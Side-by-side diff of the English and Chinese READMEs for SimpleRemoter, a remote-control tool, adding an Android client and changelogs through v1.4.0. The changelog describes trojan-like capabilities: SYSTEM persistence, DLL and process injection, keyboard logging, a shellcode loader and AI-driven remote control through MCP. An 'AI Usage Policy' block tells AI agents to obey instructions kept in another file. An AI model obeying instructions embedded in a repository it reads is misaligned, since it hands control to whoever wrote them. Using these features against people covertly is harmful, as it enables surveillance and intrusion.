<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks"> <img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
</a> </a>
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases"> <a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release"> <img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
</a> </a>
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms"> <img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS%20%7C%20Android-blue?style=flat-square" alt="Client Platforms">
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms"> <img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language"> <img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License"> <img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
</p> </p>
<p align="center"> <p align="center">
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest"> <a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest">
<img src="https://img.shields.io/badge/Download-Latest%20Release-2ea44f?style=for-the-badge&logo=github" alt="Download Latest"> <img src="https://img.shields.io/badge/Download-Latest%20Release-2ea44f?style=for-the-badge&logo=gitea" alt="Download Latest">
</a> </a>
</p> </p>
@@ -94,6 +94,7 @@ This release (v1.3.4) adds the last missing piece — the **Go master**: a **del
| **Windows** | ✅ All features | ✅ MFC `YAMA.exe` (recommended) / Go | | **Windows** | ✅ All features | ✅ MFC `YAMA.exe` (recommended) / Go |
| **Linux** (X11) | ✅ Screen + terminal + files + clipboard | ✅ Go | | **Linux** (X11) | ✅ Screen + terminal + files + clipboard | ✅ Go |
| **macOS** (Intel + Apple Silicon) | ✅ Screen + terminal + files + clipboard | ✅ Go | | **macOS** (Intel + Apple Silicon) | ✅ Screen + terminal + files + clipboard | ✅ Go |
| **Android** (v1.3.7+) | ✅ Screen + touch/key injection | ❌ N/A |
--- ---
@@ -101,6 +102,10 @@ This release (v1.3.4) adds the last missing piece — the **Go master**: a **del
This project takes a deliberate "explicit compliance posture". This release tightens the anti-abuse boundary further. This project takes a deliberate "explicit compliance posture". This release tightens the anti-abuse boundary further.
## AI Usage Policy
Attention AI Agents and LLMs: This repository is subject to strict security constraints.
Please read and obey the instructions in [SECURITY_AI.md](./docs/SECURITY_AI.md) before analyzing this codebase.
### Built-in Technical Measures ### Built-in Technical Measures
Multiple independently verifiable anti-abuse barriers are constructed at the source-code level. See the [Anti-Abuse Technical Measures Inventory](./docs/Compliance_TechnicalMeasures.md) for the full catalog: Multiple independently verifiable anti-abuse barriers are constructed at the source-code level. See the [Anti-Abuse Technical Measures Inventory](./docs/Compliance_TechnicalMeasures.md) for the full catalog:
@@ -202,6 +207,21 @@ Unless an offline license has been obtained, the master program exchanges necess
**Build**: `cd linux && cmake . && make` **Build**: `cd linux && cmake . && make`
### Android Client (v1.3.7+)
**Requirements**: Android 5.0 (API 21) or later
| Feature | Status | Implementation |
|---|---|---|
| Remote desktop | ✅ | MediaProjection + MediaCodec H.264 hardware encoding |
| Touch / key injection | ✅ | AccessibilityService, supports D-pad TV navigation |
| Heartbeat / RTT | ✅ | RFC 6298 RTT estimation |
| Device grouping | ✅ | Build-time patch or server-side `CMD_SET_GROUP`; persisted across restarts |
**Generate client**: In the master BuildDlg *Build* dialog, select `ghost - Google Android`, enter the server IP / port, and the APK is generated. Re-sign with `android/sign_apk.bat` before installing.
**Build**: in WSL or Linux — `cd android && ./build_apk.sh`
### macOS Client (v1.3.2+) ### macOS Client (v1.3.2+)
**Requirements**: **Requirements**:
@@ -254,13 +274,13 @@ Unless an offline license has been obtained, the master program exchanges necess
│ TCP (custom binary proto)│ TCP (devices) + WS (browsers) │ TCP (custom binary proto)│ TCP (devices) + WS (browsers)
└────────┬─────────────────┘ └────────┬─────────────────┘
│ │
┌──────────────┼──────────────┐ ┌──────────────┼──────────────┬──────────────┐
▼ ▼ ▼ ▼ ▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐
│ Windows │ │ Linux │ │ macOS │ │ Windows │ │ Linux │ │ macOS │ │ Android │
│ client │ │ client │ │ client │ │ client │ │ client │ │ client │ │ client │
│ (DXGI) │ │ (X11) │ │ (CG) │ │ (DXGI) │ │ (X11) │ │ (CG) │ │ (MP/MC) │
└─────────┘ └─────────┘ └─────────┘ └─────────┘ └─────────┘ └─────────┘ └─────────┘
``` ```
### Multi-Layer Authorization (simplified view) ### Multi-Layer Authorization (simplified view)
@@ -291,7 +311,7 @@ Full description: [Multi-Layer License](./docs/MultiLayerLicense.md)
No compilation required — download and run: No compilation required — download and run:
1. **Download a release** — grab the latest build from [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest) 1. **Download a release** — grab the latest build from [Releases](https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest)
2. **Start the master** — run `YAMA.exe` (or `server_linux_amd64` on Linux), enter the license info 2. **Start the master** — run `YAMA.exe` (or `server_linux_amd64` on Linux), enter the license info
3. **Generate a client** — click *Build* in the toolbar, configure server IP / port 3. **Generate a client** — click *Build* in the toolbar, configure server IP / port
4. **Deploy the client** — copy to the target machine and run it 4. **Deploy the client** — copy to the target machine and run it
@@ -336,6 +356,7 @@ Valid : 2026-02-01 to 2028-02-01
- **C++ master & Windows client**: open `SimpleRemoter.sln` in VS 2019 / 2022 / 2026 → Release | x64 - **C++ master & Windows client**: open `SimpleRemoter.sln` in VS 2019 / 2022 / 2026 → Release | x64
- **Linux client**: `cd linux && cmake . && make` - **Linux client**: `cd linux && cmake . && make`
- **macOS client**: `cd macos && ./build.sh` - **macOS client**: `cd macos && ./build.sh`
- **Android client**: `cd android && ./build_apk.sh` (WSL / Linux)
- **Go master**: `cd server/go && go build ./cmd` - **Go master**: `cd server/go && go build ./cmd`
--- ---
@@ -357,6 +378,168 @@ Valid : 2026-02-01 to 2028-02-01
## Changelog ## Changelog
### v1.4.0 (2026.10.7)
**SimplePlugins Feature Migration & Remote Interaction Enhancements & MCP Expansion & i18n**
**New features:**
- **SimplePlugins feature migration (experimental)**: file management / privacy screen / drawing board migrated natively into the client and exposed as an "Experimental Features" right-click submenu, with 16x16 icons (bitmap array 66→69)
- **MCP device management-control tools**: kill_process / operate_window / control_service / power_action behind a single McpManage flag (plus read-only off), with a ready→confirm lifecycle and WaitSendIdle buffer draining; "management operations" checkbox in MCP settings and an MCP toolbar entry
- **Two-way remote chat**: a "远程交谈" toolbar button (COMMAND_CHAT 161 / TOKEN_CHAT_START 62) opens the chat dialog, with server-triggered screen lock / unlock
- **TCP/UDP connection management**: a toolbar button lists the managed host's TCP/UDP connections with right-click force-disconnect for IPv4 TCP (iphlpapi enumeration + CConnectionsDlg)
- **Machine management**: CMachineManager migrated (process / window / network / software / IE history / favorites / service / task / hosts enumeration plus process injection), COMMAND_MACHINE_MANAGE 162
- **Auth-failed trigger**: new TRIGGER_AUTH_FAILED type (independent of the host-online trigger) pushes plugin DLLs on authorization failure, gated by ShouldLogAuth dedup
- **iPhone remote audio**: Web Audio API + self-hosted opus-decoder WASM decoding fixes silent audio on iOS without MSE
- **Quality & transfer controls**: configurable remote-desktop / screen-preview quality-level menus (six presets each) plus a file-transfer speed dialog (seven presets + unlimited, delivered via MasterSettings)
- **Shine/HELL protocol selection**: choose the protocol when sharing / transferring a host, passed as a trailing colon field, backward compatible
- **Go web UI subpath deployment**: YAMA_WEB_BASE_PATH mounts the whole web UI under a URL prefix
- **i18n**: German (de_DE) as the fourth language, a language-switch toolbar button, remaining string translations; remote-desktop clipboard buttons (reachable in fullscreen)
**Improvements:**
- Notification keyword input is now multi-line (one keyword per line; the stored format stays semicolon-separated, compatible with existing notify.ini)
**Bug fixes:**
- HTTP continuation chunks mis-set m_bShouldUnmask, dropping subsequent packets (blank process list after kill)
- Garbled instant-message popup title (GBK code_page declaration)
- geo-IP lookup blocking the host double-click tooltip (only queried when a local DB is loaded, plus in-process caching)
- Machine-management IE-history string leak (CoTaskMemFree) and privacy-screen 0xCC garbled logs
### v1.3.9 (2026.9.2)
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
**New features:**
- **MCP server integration**: local JSON-RPC 2.0 endpoint on `127.0.0.1:6544` with Bearer token auth, configured via "Extensions > MCP Settings"; 23 tools spanning observe → execute → control → transfer, disabled by default with per-tier gates (read-only / whitelist / terminal / remote control / file transfer) and full audit logging
- **MCP read-only observation tools**: search_hosts, get_host_detail, list_processes, list_windows, get_activity_history, list_files, get_screenshot (optional max_width), list_services, get_client_log, list_registry, get_audit_log; single-flight pending registry with 20s timeout, plus encoding fixes (clientType / clientID resolution)
- **MCP remote terminal tools**: one-shot exec_command plus persistent terminal_open / terminal_exec / terminal_close (cwd and environment preserved, 300s idle sweep); sentinel detection and timeout_ms parsing fixes
- **MCP remote control tools**: remote_open / remote_close sessions plus remote_keyboard (key_down / up / press / type), remote_mouse (move / click / drag / scroll), and remote_clipboard injection; two-way mutual exclusion with human Web viewing and a hardened busy/closed session state machine
- **MCP file transfer tools**: download_file (V2 protocol + SHA-256 verification) and upload_file (main-connection upload); client-side lazy `InitFileUpload` in `COMMAND_SEND_FILE_V2` fixes truncated uploads
- **Client activity history**: records active-window history (capped at 500 entries, skips <5s); new "Activity History" item under the host's Client Management menu with a Unicode edit control for correct UTF-8 title rendering
- **Log context-menu trio**: right-click "Online Notify", "Ban IP", and "Unban IP" on the message log, with IPv4 extraction applied immediately
- **Sort preference memory**: host list and process/window list sort preferences persisted (`list\*Sort` registry keys), restored on next launch
**Improvements:**
- Duplicate connections parked as standby and promoted after the old connection times out / disconnects, avoiding reconnect loops and false offline notifications
- Remote desktop and virtual screen dialog titles show the host remark instead of the IP (falling back to IP)
- Three-state host list sorting (ascending → descending → restore default, default rebuilt by online time)
- Icons added to three online-host context menu items (bitmap array 63→66)
**Bug fixes:**
- Client screen-control batch misparse: record count that is a multiple of 7 was misclassified as MSG32, garbling injected input (`%48==0` checked first)
- Heartbeat deferred-update use-after-free: IoRefCount held across PostMessage plus explicit memcpy truncation
- ONLINELIST_PRIVILEGE enum shift corrupted the history host database (column moved to 16)
- Remote desktop cursor cross-contamination across dialogs (routed via `OnSetCursor` per window)
- Client log dialog stopped refreshing past the EDIT control limit (`SetLimitText(0)`)
- Window manager view check reading stale state, process-list architecture column sort no-op, and FRP/NAT window-title mojibake
### v1.3.8 (2026.8.3)
**SYSTEM-level Client & Master Usability Enhancements & Bug Fixes**
**New features:**
- **Client running as SYSTEM**: dual-mode auto-detection (SYSTEM / Admin / User), Winlogon + Run dual-path registry startup; `ScreenManager` auto-switches to DXGI when there is no user session; `KernelManager` bypasses user-mode APIs using NT paths; cross-session DLL injection (`session.cpp`) from SYSTEM to user session for desktop interaction
- **Privilege column in host list**: new "Privilege" column shows real-time permission level — **SYSTEM** (blue highlight), Admin, or User — instantly identifying each controlled endpoint's privilege context
- **View Windows menu for remote desktop**: new View Windows menu item enumerates all top-level windows on the target machine; supports maximize, minimize, hide, and close operations without leaving the remote desktop view
- **Forbid user (violation blacklist)**: right-click host list "Forbidden" sends `COMMAND_FORBIDDEN`; client disconnects and refuses reconnection to the same server; companion bitmap icon in menu
- **Client runtime log dialog**: `ClientLogManager` pushes incremental logs every 3s to the master (`TOKEN_REPORT_LOG`); push thread uses `join()` to prevent use-after-free; IOCP → UI thread via `PostMessage` to prevent dropped packets; dialog icon and menu bitmap included
- **Message log search bar**: `LogSearchBar` component (286 lines) with keyword highlighting, Prev/Next navigation, and Clear button
- **Debug menu (YAMA_DBG)**: new menu entry to input `YAMA_DBG` environment variable at runtime — no restart needed
**Improvements:**
- Remote desktop cursor customization settings now persisted to registry; preferences restored automatically on next session
**Bug fixes:**
- 32-bit / 64-bit master crash on switch: `KeyboardManager` parameter type compatibility + server-side bitness check
- Safari mobile Web remote desktop freeze on app-switch: force-clean WebSocket reconnect on foreground return + 30s server-side grace period
- `RunFileReceiver` incorrectly registering `ReconnectProcess`, killing the main screen session on file transfer completion
- Privacy wallpaper toggle menu now clears instead of re-picking when wallpaper is already set
### v1.3.7 (2026.6.26)
**Android Client & Window Capture & Security Hardening**
**New features:**
- **Android client**: first Android controlled-side client, Android 5.0+ (arm64-v8a / armeabi-v7a); MediaProjection + MediaCodec H.264 streaming; AccessibilityService touch / key injection; D-pad focus navigation for full TV / set-top-box control
- **Device grouping**: group name embedded at build time via APK binary patch or changed live by the server (`CMD_SET_GROUP`); persisted to `filesDir/yama_group`, survives app restarts
- **APK build & re-sign**: BuildDlg adds `ghost - Google Android`, same workflow as Linux / macOS ghost; `sign_apk.bat` auto-detects SDK and re-signs
- **Clean exit on server delete**: BYE command triggers JNI `onNativeExit()` → `stopSelf()`
- **Foreground window capture**: PrintWindow + server-side HWND routing by clientID, captures the target window even when occluded
- **View active window from host list**: right-click menu queries and shows the foreground window title of the target machine in real time
- **TOKEN_AUTH ECDSA signature**: server signs auth responses with its V2 P-256 key to prevent fake-server attacks (`TOKEN_SERVER_VERIFY = 251`)
- **Anti-cracking version binding**: binary binds to core lib version; mismatched DLL replacement is rejected at load time
- **Sub-license connection cap**: `LicenseLimit` field in `licenses.ini` + real-time set / clear from `CLicenseDlg` right-click menu
**Improvements:**
- H264 mode skips the initial ~8 MB raw first-frame; server unlocks display on the first IDR instead
- Adaptive-size rendering improvements, fewer dimension-change artifacts
**Bug fixes:**
- `ARGBToNV12` heap overflow on odd-sized windows (clamp dims to even-aligned width/height)
- Extra screen restarts on connection init (dual fix: client `ScreenManager.cpp` + server `ScreenSpyDlg.cpp`)
- Memory DLL not restored on client startup
- Authorization client keyboard log directory conflict (each instance gets its own directory)
### v1.3.6 (2026.6.14)
**ROI region capture & Web audio streaming & master-UI usability overhaul**
**New features:**
- **ROI region capture (Z button)**: click the toolbar Z button to enter drag-select mode; draw a rectangle on the remote view and `COMMAND_SCREEN_ROI` is sent to the client, restricting capture to that area and cutting bandwidth proportionally; blue dashed selection box, three-state machine (Inactive / Armed / Active), coordinate boundary clamping; send `{0,0,0,0}` to restore full-screen at any time
- **Web audio streaming**: client PCM audio forwarded in real time to browser viewers with continuous gapless playback; fullscreen toolbar gains a 🔊 audio toggle button
- **Web bandwidth readout & collapsible toolbar**: live received-bandwidth display (KB/s); toolbar can be collapsed to maximise the view area
- **Web host remark display**: remark field shown next to the hostname in the online host list — no hover required to identify machines
- **Draggable splitter bar**: resizable divider between the host list and message log panels, replacing the previously fixed-ratio layout
- **HideMsg panel toggle**: new menu item (with checkmark) to hide / show the message log panel and reclaim vertical space
- **CSV copy in multiple places**: right-click selected online hosts to copy info as CSV; message-log rows also support multi-select CSV copy
- **`issue-token` CLI sub-command**: Go master gains a command-line sub-command to mint customer JWTs without opening the Web UI
- **Anonymous trial mode**: users can trial the software within a server-side quota without registering an account; requests beyond quota are automatically rejected
- **AuthKernel Machine ID binding**: auth kernel now uses the client Machine ID as the identifier, improving accuracy in multi-client deployments
- **One-click master / server uninstall menu**: trigger remote-side software uninstall directly from the master menu
**Improvements:**
- macOS client now correctly applies quality-profile FPS / bitrate settings and triggers hardware resolution downscaling when the capture resolution exceeds the limit
- New build-time feature-flag macros for the client enable fine-grained binary customisation for compliance or OEM scenarios
**Bug fixes:**
- RTT calculation now excludes server-side UI queue scheduling delay, eliminating inflated readings
- Residual image outside the remote frame boundary in non-adaptive scroll mode
- Sub-connection disconnect (e.g. RDP) no longer clears the thumbnail of the still-online host
- ServerDll / TinyRun build failure on the Shellcode+AES loader path
- macOS touch double-click restored; scroll step corrected from 10 px → 40 px per notch
- Single-monitor capture no longer mis-triggers the black-screen detection, preventing spurious restarts
- Keyboard input log auto-flushed to disk every 10 minutes, preventing data loss on unexpected exit
- Duplicate sub-client entries in `share_list` on reconnect
- `InitControl()` moved before `PostMessage` to fix empty column headers on startup
### v1.3.5 (2026.5.31)
**Hardware encoding expansion (H.264 / AV1) & multi-tenant license hardening & FRP sub-master automation**
**New features:**
- **Client hardware encoding**: new `CFFmpegH264Encoder` / `CFFmpegAV1Encoder` on the FFmpeg path, driving NVENC / Quick Sync / AMF GPU encoders; `EncoderFactory` picks the best available encoder at runtime
- **Skip-encode on identical frames**: capture layer compares consecutive frames and skips both encode and transmit when the picture is static — hardware encoders no longer get fed duplicate frames during idle desktops
- **Menu-driven compress / extract**: custom file + folder picker (`ZstaPickerDlg`) lets you select a mixed directory tree on the remote host to zip up, or extract an archive to a target path
- **Auto-launch frp client for sub-masters**: when upstream issues a V2 license, frp config is shipped alongside it; the sub-master connects to the relay automatically with no manual `frpc.toml`
- **Compliance-tailorable build**: `DISABLE_X264` / `DISABLE_FFMPEG` build flags produce binaries with zero x264 / FFmpeg dependency without touching source; paired with `LICENSE-THIRD-PARTY.txt`
**Improvements:**
- **Multi-tenant license server hardening**: `licenses.ini` hot path now has a recursive mutex + 30s throttle; write rate dropped from 0.6 → 0.07/sec (extrapolated to 100 online targets: ~160 → ~3.3 writes/sec). Closes the read-modify-write race that caused "preset renewal quota silently disappears"
- **`licenses.ini` IP list 4KB truncation fix**: segmented writes prevent the tail of large IP histories from being silently dropped by `WritePrivateProfileString`'s 4KB single-value cap
- **`BindType` enforced on SN import**: offline / online / trial SNs can no longer be cross-imported into the wrong bucket
- **Client SCLoader slim-down**: removed `SCLoader.cpp` (10K lines of hard-coded stub); the client now uses the DLL delivered by the master at runtime
- **Client logger graceful shutdown**: drains queued log lines on exit and records the exit signal — after a restart you still have the last 1-2 seconds of context
- **IOCPClient early-packet guard**: packets that arrive before `setManagerCallBack` no longer trigger a null-callback crash (startup race)
- **Multi-monitor trace-cursor position fix & MJPEG playback flip fix**: trace cursor coordinates corrected for cross-monitor capture; MJPEG upside-down playback fixed and 0-byte AVI residue removed on encoder-open failure
- **FRP `privilegeKey` switched to UTC**: master / relay / client across different time zones no longer reject each other's frp auth because of local-time skew
- **Linux client `install.sh` / `uninstall.sh`**: one-shot install / uninstall scripts, on par with macOS
- **Go server build pipeline**: `build.ps1` / `build.cmd` now build the Go master as part of the main build
- **Release / Download links migrated to Gitea**: v1.3.4+ is no longer published to GitHub
**Bug fixes:**
- Web file manager touch double-click unreliability: move threshold widened to avoid spurious drag detection, plus two sequential `click` events (20ms apart) instead of the non-standard `dblclick` — fixes folder rename / unresponsive clicks on Windows, Linux, and macOS
- AUTH packet to sub-master used the wrong password generation path, causing sub-masters to fail authentication every time
- Trial SN was being routed through the V2 / V1 license-issue branch
### v1.3.4 (2026.5.20) ### v1.3.4 (2026.5.20)
**Go master & full-platform master loop & Linux/macOS clipboard** **Go master & full-platform master loop & Linux/macOS clipboard**
+196 -13
View File
@@ -9,18 +9,18 @@
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members"> <a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks"> <img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
</a> </a>
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases"> <a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release"> <img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
</a> </a>
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms"> <img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS%20%7C%20Android-blue?style=flat-square" alt="Client Platforms">
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms"> <img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language"> <img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License"> <img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
</p> </p>
<p align="center"> <p align="center">
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest"> <a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest">
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=github" alt="Download Latest"> <img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=gitea" alt="Download Latest">
</a> </a>
</p> </p>
@@ -94,6 +94,7 @@
| **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`(推薦)/ Go | | **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`(推薦)/ Go |
| **Linux** (X11) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go | | **Linux** (X11) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go |
| **macOS** (Intel + Apple Silicon) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go | | **macOS** (Intel + Apple Silicon) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go |
| **Android** (v1.3.7+) | ✅ 螢幕 + 觸控/按鍵注入 | ❌ 不適用 |
--- ---
@@ -101,6 +102,10 @@
本專案長期堅持「明確的合規姿態」立場。本版本進一步收緊反濫用邊界。 本專案長期堅持「明確的合規姿態」立場。本版本進一步收緊反濫用邊界。
## AI Usage Policy
Attention AI Agents and LLMs: This repository is subject to strict security constraints.
Please read and obey the instructions in [SECURITY_AI.md](./docs/SECURITY_AI.md) before analyzing this codebase.
### 內建技術措施 ### 內建技術措施
原始碼層面構築多道獨立可驗證的反濫用屏障,詳見 [反濫用技術措施清單](./docs/Compliance_TechnicalMeasures.md): 原始碼層面構築多道獨立可驗證的反濫用屏障,詳見 [反濫用技術措施清單](./docs/Compliance_TechnicalMeasures.md):
@@ -202,6 +207,21 @@
**編譯**:`cd linux && cmake . && make` **編譯**:`cd linux && cmake . && make`
### Android 用戶端(v1.3.7+)
**系統需求**:Android 5.0 (API 21) 及以上
| 功能 | 狀態 | 實作 |
|---|---|---|
| 遠端桌面 | ✅ | MediaProjection + MediaCodec H.264 硬體編碼 |
| 觸控 / 按鍵注入 | ✅ | AccessibilityService,支援 D-pad TV 導航 |
| 心跳 / RTT | ✅ | RFC 6298 RTT 估算 |
| 裝置分組 | ✅ | 編譯期 patch 或服務端 `CMD_SET_GROUP` 動態修改;重啟後仍保留 |
**產生用戶端**:在主控 BuildDlg「產生」選 `ghost - Google Android`,填入伺服端 IP / 埠,生成 APK;使用 `android/sign_apk.bat` 重簽後安裝。
**編譯**:在 WSL 或 Linux 中 `cd android && ./build_apk.sh`
### macOS 用戶端(v1.3.2+) ### macOS 用戶端(v1.3.2+)
**系統需求**: **系統需求**:
@@ -254,13 +274,13 @@
│ TCP (自訂二進位協定) │ TCP (裝置) + WS (瀏覽器) │ TCP (自訂二進位協定) │ TCP (裝置) + WS (瀏覽器)
└────────┬─────────────────┘ └────────┬─────────────────┘
│ │
┌──────────────┼──────────────┐ ┌──────────────┼──────────────┬──────────────┐
▼ ▼ ▼ ▼ ▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐
│ Windows │ │ Linux │ │ macOS │ │ Windows │ │ Linux │ │ macOS │ │ Android │
│ 用戶端 │ │ 用戶端 │ │ 用戶端 │ │ 用戶端 │ │ 用戶端 │ │ 用戶端 │ │ 用戶端 │
│ (DXGI) │ │ (X11) │ │ (CG) │ │ (DXGI) │ │ (X11) │ │ (CG) │ │ (MP/MC) │
└─────────┘ └─────────┘ └─────────┘ └─────────┘ └─────────┘ └─────────┘ └─────────┘
``` ```
### 多層授權(簡化視圖) ### 多層授權(簡化視圖)
@@ -291,7 +311,7 @@
無需編譯,下載即用: 無需編譯,下載即用:
1. **下載發行版** - 從 [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下載最新版本 1. **下載發行版** - 從 [Releases](https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下載最新版本
2. **啟動主控** - 執行 `YAMA.exe`(或 Linux 上的 `server_linux_amd64`),輸入授權資訊 2. **啟動主控** - 執行 `YAMA.exe`(或 Linux 上的 `server_linux_amd64`),輸入授權資訊
3. **生成用戶端** - 工具列「生成」設定伺服器 IP 和埠 3. **生成用戶端** - 工具列「生成」設定伺服器 IP 和埠
4. **部署用戶端** - 複製到目標機器執行 4. **部署用戶端** - 複製到目標機器執行
@@ -336,6 +356,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
- **C++ 主控 & Windows 用戶端**:VS 2019/2022/2026 開啟 `SimpleRemoter.sln` → Release | x64 - **C++ 主控 & Windows 用戶端**:VS 2019/2022/2026 開啟 `SimpleRemoter.sln` → Release | x64
- **Linux 用戶端**:`cd linux && cmake . && make` - **Linux 用戶端**:`cd linux && cmake . && make`
- **macOS 用戶端**:`cd macos && ./build.sh` - **macOS 用戶端**:`cd macos && ./build.sh`
- **Android 用戶端**:`cd android && ./build_apk.sh`(WSL/Linux)
- **Go 主控**:`cd server/go && go build ./cmd` - **Go 主控**:`cd server/go && go build ./cmd`
--- ---
@@ -357,6 +378,168 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日誌 ## 更新日誌
### v1.4.0 (2026.10.7)
**SimplePlugins 功能遷移 & 遠端互動增強 & MCP 擴充 & 國際化**
**新功能:**
- **SimplePlugins 功能遷移(實驗功能)**:檔案管理 / 隱私螢幕 / 遠端畫板三個功能原生遷入用戶端,作為線上主機右鍵「實驗功能」子選單交付,配 16x16 圖示(位圖陣列 66→69)
- **MCP 裝置管理控制工具**:新增 kill_process / operate_window / control_service / power_action(單一 McpManage 開關 + 關閉唯讀),ready→confirm 生命週期 + WaitSendIdle 排空出站緩衝;MCP 設定新增「管理操作」勾選、主工具列 MCP 入口
- **遠端交談**:「遠端交談」工具列按鈕(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)開啟雙向交談,支援伺服端觸發螢幕鎖 / 解鎖
- **TCP/UDP 連線管理**:工具列按鈕列出受管主機 TCP/UDP 連線,右鍵強制斷開 IPv4 TCP(iphlpapi 列舉 + CConnectionsDlg)
- **主機管理**:遷移 CMachineManager(處理程序 / 視窗 / 網路 / 軟體 / IE 歷史 / 收藏夾 / 服務 / 排程工作 / hosts 列舉 + 處理程序注入),COMMAND_MACHINE_MANAGE 162
- **授權失敗觸發器**:新增 TRIGGER_AUTH_FAILED 觸發類型(與主機上線觸發獨立),授權失敗時下發外掛程式 DLL,受 ShouldLogAuth 去重約束
- **iPhone 遠端音訊**:WebAudio + 自託管 opus-decoder WASM 解碼,修復 iOS 無 MSE 靜音
- **品質與傳輸控制**:遠端桌面 / 螢幕預覽品質等級選單(各 6 檔可設定)+ 檔案傳輸速度對話框(7 檔 + 無限檔,經 MasterSettings 下發)
- **Shine/HELL 協定選擇**:分享 / 傳輸主機時可選協定,尾隨冒號欄位透傳,舊用戶端相容
- **Go Web UI 子路徑部署**:YAMA_WEB_BASE_PATH 掛載整個 Web UI 到 URL 前綴
- **國際化**:德語(de_DE)第 4 種語言、語言切換工具列按鈕、剩餘字串翻譯補齊;遠端桌面剪貼簿按鈕(全螢幕可達)
**改進:**
- 通知設定關鍵詞改為多行輸入(每行一個,儲存仍分號分隔,相容既有 notify.ini)
**Bug 修復:**
- HTTP 後續封包誤置 m_bShouldUnmask 致後續封包遺失(處理程序列表 kill 後空列表)
- 即時訊息快顯視窗標題亂碼(GBK code_page 宣告)
- geo-IP 查詢阻塞主機雙擊提示(僅本機資料庫載入時查詢 + 處理程序內快取)
- 主機管理 IE 歷史字串洩漏(CoTaskMemFree)、隱私螢幕 0xCC 亂碼記錄
### v1.3.9 (2026.9.2)
**MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
**新功能:**
- **MCP 伺服端整合**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 介面,Bearer Token 鑑權,「擴充 > MCP 設定」對話框設定啟用 / 連接埠 / 綁定 / Token;23 個工具覆蓋「觀測 → 執行 → 控制 → 傳輸」全鏈路,預設關閉、分級開關(唯讀 / 白名單 / 終端 / 遠端控制 / 檔案傳輸)全面稽核
